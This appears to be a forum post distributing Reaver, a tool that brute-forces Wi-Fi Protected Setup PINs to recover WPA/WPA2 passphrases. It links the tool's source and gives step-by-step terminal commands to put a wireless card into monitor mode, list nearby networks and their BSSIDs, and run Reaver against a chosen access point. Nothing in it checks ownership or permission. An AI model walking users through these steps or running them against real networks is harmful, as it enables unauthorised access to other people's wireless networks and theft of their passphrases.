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Please ensure you have aircrack-ng installed as this will be required ( available on the forum ).

Info:

Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases, as described in http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf.

Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.

On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

Source Code Available:

http://code.google.com/p/reaver-wps/

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Here are the instructions to use the application, also I have attached Aircrack-ng (someone's else's hard work on the forum):

Open up terminal and enter:

iwconfig

You should see your wireless card listed usually 'wlan0'

Put your wireless card into monitor mode:

airmon-ng start wlan0

then to view the networks around you enter:

airodump-ng wlan0

You can stop the display to gather the BSSID number of the router by pressing CTRL+C

Now let's begin to use Reaver in terminal by entering:

reaver -i wlan0 -b BSSID -vv

Remember to replace BSSID with the one you wish to test.

Just wait for Reaver to do it's work ...... be prepared to wait several hours!!